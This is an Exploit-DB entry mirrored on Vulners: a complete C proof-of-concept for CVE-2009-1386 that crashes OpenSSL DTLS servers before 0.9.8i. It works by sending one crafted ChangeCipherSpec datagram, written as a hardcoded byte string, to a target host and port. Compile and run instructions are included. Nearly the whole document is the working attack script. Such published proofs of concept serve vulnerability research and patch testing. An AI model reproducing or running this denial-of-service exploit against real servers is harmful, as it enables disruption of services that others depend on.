Search...

OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS Exploit

2009-06-04T00:00:00
ID EDB-ID:8873
Type exploitdb
Reporter Jon Oberheide
Modified 2009-06-04T00:00:00

Description

OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS Exploit. CVE-2009-1386. Dos exploits for multiple platform

                                        
                                            /*
 * cve-2009-1386.c
 *
 * OpenSSL &lt; 0.9.8i DTLS ChangeCipherSpec Remote DoS
 * Jon Oberheide &lt;jon@oberheide.org&gt;
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1386
 *
 *   OpenSSL would SegFault if the DTLS server receives a ChangeCipherSpec as
 *   the first record instead of ClientHello.
 *
 * Usage:
 *
 *   Pass the host and port of the target DTLS server:
 *
 *   $ gcc cve-2009-1386.c -o cve-2009-1386
 *   $ ./cve-2009-1386 1.2.3.4 666
 *
 * Notes:
 *
 *   Much easier than the memory exhaustion DoS issue (CVE-2009-1378) as this 
 *   only requires a single ChangeCipherSpec datagram, but affects an older 
 *   version of OpenSSL.
 *
 */

#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;errno.h&gt;
#include &lt;netdb.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;sys/socket.h&gt;

int
main(int argc, char **argv)
{
	int sock, ret;
	char *ptr, *err;
	struct hostent *h;
	struct sockaddr_in target;
	char buf[64];

	if (argc &lt; 3) {
		err = "Pass the host and port of the target DTLS server";
		printf("[-] Error: %s\n", err);
		exit(1);
	}

	h = gethostbyname(argv[1]);
	if (!h) {
		err = "Unknown host specified";
		printf("[-] Error: %s (%s)\n", err, strerror(errno));
		exit(1);
	}

	target.sin_family = h-&gt;h_addrtype;
	memcpy(&target.sin_addr.s_addr, h-&gt;h_addr_list[0], h-&gt;h_length);
	target.sin_port = htons(atoi(argv[2]));

	sock = socket(AF_INET, SOCK_DGRAM, 0);
	if (sock == -1) {
		err = "Failed creating UDP socket";
		printf("[-] Error: %s (%s)\n", err, strerror(errno));
		exit(1);
	}

	ret = connect(sock, (struct sockaddr *) &target, sizeof(target));
	if (ret == -1) {
		err = "Failed to connect socket";
		printf("[-] Error: %s (%s)\n", err, strerror(errno));
		exit(1);
	}

	memcpy(buf, "\x14\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01", 14);

	printf("[+] Sending DTLS datagram of death at %s:%s...\n", argv[1], argv[2]);

	send(sock, buf, 14, 0);

	close(sock);

	return 0;
}

// milw0rm.com [2009-06-04]
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2017
Protected by